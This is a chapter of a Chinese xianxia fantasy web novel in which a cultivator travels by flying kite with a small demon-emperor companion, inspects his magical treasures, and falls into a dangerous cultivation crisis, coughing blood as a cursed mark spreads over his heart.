15.第十五章 怎么不好好穿衣服!
竹筏沿江而下,一只不再发粉的雪白小兽悠悠哉哉地沿着筏边溜达,时不时盯着江中游鱼,观赏远处山景。
山水朦胧,青绿如画,江面落下一袭白衫的倒影,便成了山水画间点睛的一抹鹤白。
苍舜看着看着,忽然觉得这抹白实在是很相宜,氤氲在青山绿水之间,多一分嫌浓,少一分嫌淡。他见过霜白月白许多白,都不如——
风过江面,那静坐的白衫睁开一双乌墨眼眸。
苍舜若无其事地移开视线,盯着岸边林叶漂浮江面,拨开层层涟漪。
过了一会,他又若无其事地转回来,看见那个年轻人族侧首,几缕乌发掠过眉眼,无澜的眸光遥望一处。
青山之间,白雾微薄,拂开一座水上山城。
苍舜只是一瞥,便知那是一座普通的凡人城镇,毫无灵气波动。
不过,倒是山清水秀,难怪养出了美玉。
风吹来了他的声音:【那是你的故乡】
沉墨清不答。
【不回去看看吗?】
风已吹着竹筏远去,沉墨清收回目光。
“不必。”
“我没有故乡。”
苍舜沉默两秒,慢吞吞地“唔”了一声,跳到他的腿上,用毛茸茸的爪子拍拍他。
【我们去哪里?】
沉墨清抬眸,眺望远处群山。
“青鸾州。”
青鸾州,三千中州之一,行云前辈留下的古地图中阵道传承之所在,就位于如今的青鸾州。
和以符修为主的东州不同,青鸾州是阵道之地,其中最大的阵道宗门名为万化宗,坐拥一位化神,四位元婴修士。
【青鸾?】苍舜似乎觉得很有意思,轻笑一声,【那家伙也独占一州了?】
沉墨清对上那双赤红妖眸:“青鸾州之名,源于四千年前,陨落于此州的世间最后一只青鸾。”
苍舜听完,神情并没有多大变动,亦不知在想什么,许久没有说话。
竹筏沿江而下,已过重山。又有急风而起,托巨鸢直上青天。
九千州各州之间设有屏障,非战之时若要穿行各州,可通过边界传送阵。若相距过远,可搭乘飞鸢——一种大型跨州工具。
巨鸢身长千丈,背负高耸入云的空中楼阁,鳞次栉比,流云穿廊,沉浮于云海之间。
沉墨清斥巨资订了间上等客房——原因无他,此地靠近飞鸢中枢,灵力最为浓郁,利于修行。
“贵客请随我们来。”
两位侍女衣裙飘飘,含笑引路。其中一人见那位年轻客人眉目温润,身姿如竹,不由得眼波流转,频频投去目光。
然后没一会,那位年轻客人怀里的幼小妖兽就开始瞪眼睛了,凶巴巴的。
宽敞华贵的雅间,侍女刚端起茶盏,就听见那位客人清润悦耳的嗓音:“多谢,我自便就行,二位回去休息吧。”
上等客房的贵客都会安排随行侍者,要时刻侍奉在旁,一整天不休也是常态。那两位侍女听到这话,露出感激目光,道谢后掩门而出,拉着姐妹的手步伐欢快地走远了。
一直盯着那两个侍女彻底消失在屋外,苍舜才扭头,幽幽地看着沉墨清。
明明已经易容了,怎么老是容易讨别人喜欢。
沉墨清与这只睁着溜圆妖瞳的小毛绒球对视。
做什么。
抬手轻薅一下那只小脑袋头顶的绒毛。
“……”
苍舜不吭声了,转身就走。
他溜达到桌边,见桌上摆着一盘灵果,抓起一颗最大的抛给那个人族,又抓起一个小的,用爪子滚着玩。
沉墨清取出储物袋,开始检视此行收获。
这段时间他与千玄阁合作,所炼的符箓不仅在青竹城售卖,也由白玥转向千玄阁总部的拍卖会,零零散散加起来,已有十多万灵石入账。
符修确实比剑修富裕,至少他的尘芥不会生钱。
想起那柄霜雪般的长剑,沉墨清嘴角有笑意浮动。
苍舜立刻抬头。
想到谁了,这么开心。
跳回他身边,一爪子摁住他的衣角,一声不吭地揉来揉去,很快揉成一团。
沉墨清习以为常地由着他去,符文飘动,铺下结界,将雅间与外界完全隔绝。
他的眉间燃起莲花印记,一枚晶莹剔透的九瓣莲花展现,散发莹润华光。
五品初阶防御类法宝,雪尘琉璃盏,可挡化神初期一击。
另有两道半透明的不成形符箓漂浮于空,中间流动金色文字。
六品破空符符方,可撕裂虚空,横跨一州。
六品禁界符符方,画地为牢,自成禁界,非炼虚初期无法挣脱。
两道皆是符方,并非成符,要炼就也需耗费大量天材地宝——但,六品已属于上品符箓,仅是符方,放到上州便价值连城。
毕竟,六品之威可抵炼虚修士,哪怕是上州,一位炼虚也是绝对的中流砥柱,足以成为一宗之主的强悍存在。
两道符方上空,一卷闭合的卷轴静静悬立,宛若玉雕。
六品攻伐法宝,名为“奈何”。
奈何桥上引魂归,不见生人。
以他如今的修为,暂时无法催动这件杀伐重器。若是跨过金丹中期,或可借几分法力。
沉墨清的目光最后停留于那半部残诀——可令根骨再生的残诀,就连天枢宗也未拥有此类之物。
仅凭此物他便断定,行云前辈本体的修为绝不止于炼虚,甚至在大乘之上——如此惊才绝艳之大能,却不曾在如今的九千州留名,不知是否有更深的缘由。
他收起储物袋,垂眼。
一坨白软软的小毛绒球趴在自己腿上,悠悠闲闲地摇着尾巴。他将那颗灵果轻轻放在小毛绒球的脑袋上,软蓬蓬的绒毛凹陷下一个窝,小毛绒球立刻不动了。
一动不动地趴着,唯有细长的尾巴朝着脑袋反方向伸过来,似乎想够着那颗灵果。
沉墨清淡定地用手指拨开尾巴,打了个卷,听见了熟悉的大声“咪呜”。
此行最大收获,不仅是这些秘境传承,还有他自创的符术“归墟引”——就算他现在遭遇化神,凭借“归墟引”,亦有一战之力。
若能突破金丹,“归墟引”的威力必然质变。不过,那绝非易事。
金丹不同于筑基,是修士第一次彻底蜕变,也是修行之路上真正的分水岭——唯有金丹入灵海,方可登临攀大道。
因此,跨过金丹必渡雷劫,雷劫亦有等级之分,三千地雷,六千玄雷,九千天雷——昔日,他便是顶着九天雷劫,从筑基大圆满跨至金丹。
苍舜一个翻身,忽见那双好看的手解开腰带,拨开衣袍,露出一片白皙肌理。
苍舜:“……”
雪白小兽圆润的耳朵嗖一下竖起,飞快蹿进了被子里,只露出圆滚滚的后半个身子。
沉墨清不明所以地瞥了眼某只妖皇,撤去隐匿符,现出原本容貌。
衣衫半解,乌发散落在胸膛间,鲜红枝丫蜿蜒蔓过薄白肌肤,离心口还有数寸之距。
他心知肚明,一旦红枝越过心口,便是他被枯木回春令夺去生机、神魂永坠烈火而不得解脱之时。
乌沉的眼眸无澜,修长手指轻动,符文落成,再设下一重结界。
一连七重结界,将屋内彻底打造成了固若金汤的隐秘之地。
然后,他再戳一戳某只一动不动埋进被子里的雪白小兽:“我要闭关三天,烦请气宇轩昂的妖皇陛下帮我看着门,别让外人进来。”
“……”
只有半坨的小毛绒球动了动,慢吞吞从被子里钻出来,变成完整一坨,悄悄抬头。
下一秒,又一
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脑袋埋进了被子里,缩成一小坨。
【哦】
声音小小地应了。
沉墨清:“……”
他听说妖族风气向来开放,衣衫袒露亦是常态。这只妖皇不应该已经司空见惯了吗?
算了,毕竟是三百岁的咪咪,还未成年。
沉墨清拉起被子,轻轻盖住那团软趴趴的小白糖糕,闭目凝神,神识沉入灵海,遥望天堑之上那道枯木回春令。
仙人遗留之符令,虽由他复刻而成,却并不完全受他掌控,似乎还保存着一丝仙人意念,阻隔在他的修行大道之上。
沉墨清的神识打坐,与枯木回春令遥遥相对,单手掐诀,无数符文环绕身侧,铺就浩瀚星河,一一点亮灵海长空。
他要以符道真意再次炼化枯木回春令!于自身灵海之内,和万年前的仙人一争高低!
雅室内静寂无声,唯有符文隐隐闪烁,伴随澎湃灵力流转。
被子微拱,露出一只毛茸茸的雪白脑袋,那双溜圆的妖瞳偷偷摸摸地往上瞄了一眼,视线飞快擦过年轻人族衣衫敞开的脖颈之下。
面无表情地移开脑袋。
过了两秒,又偷偷摸摸瞄一眼。
坦然无事地移开目光。
再过两秒。
理直气壮地看一眼。
……怎么不好好穿衣服!
苍舜跳到那人腿上,爪子扒拉扒拉,将他微微敞开的衣衫合拢了一点。
就不怕……不怕着凉吗!
这只妖皇一边在心底嘀嘀咕咕,一边顺势趴在沉墨清膝间,细长尾巴一下一下扫过他垂落的衣摆,继续在心底嘀嘀咕咕。
还是他们妖族好,皆有皮毛蔽体,再不济也有鳞甲。这个人族皮肤那么白,还那么光滑,风一吹岂不是要受寒。
过了一小会,苍舜又默不作声地抬头。
哪怕在修炼之中,那人依然身如修竹。衣领宽松微解,笼住白瓷般的颈侧,锁骨如玉,胸膛并不单薄瘦弱,覆着一层均薄肌理,透出泠然玉色。
敞开的衣衫尽尾,一截鲜红枝木静伏于白皙肌肤间,白霜红梅般惊心夺魄。
苍舜长久地凝视那抹肆意绽开的鲜红。
大道气息。
但,是和如今的天道不同的“道”,更加古老,更加……纯粹。
苍舜的眼神一下子冷冽了下来,汹涌妖力横扫而开——却并非袭向那个似乎毫不设防的人族,而是强硬地覆盖周遭,将此方空间的气息再一层层碾压而下,堵绝了丝毫可能泄露的缝隙。
雪白妖兽身形暴涨,撑开庞大身躯,仿佛高不可攀的巍峨雪山——然后,雪山山脉伏倒,凛冽的风雪骤停,环绕于那抹挺拔青竹旁边。
苍舜一言不发地低头,下颌压在那人发间,慢吞吞地蹭了蹭,尾巴悄悄圈住他的腰,安安静静地守着他。
灵海之内,沉墨清正在行于一条晦暗漆黑的大道之上。
这种感觉并不陌生,三年前他炼出枯木回春令时,就感觉自己走入了一条古老的大道——前方是漫漫而无尽头的晦暗,唯他一人独行,仿佛从蛮荒走至世间将尽。
那时,他点燃精血,以血为灯,照亮脚下之路,忽有所明悟,终炼出枯木回春令。
而现在,他听见一声悠长古老的叹息,仿若穿过了漫长无尽的岁月,穿过了世间最深邃的黑暗,轻飘飘地落在他的身边。
“数万年未有人走过之道,何必来此,何苦来此?”
灵海巨震,翻江倒海,沉墨清猛地吐出一口血,乌发散落,鲜血滚落微颤的指尖,于苍白之间凝成一抹刺目的红。
那抹红色瞬间渗入苍舜的妖瞳。
【沉墨清!】
沉墨清又吐出一大口血,苍白肌肤间的红色枝丫疯狂攀长,如雪地泼洒而开的鲜血,很快——蔓过心脏!
【墨清——!】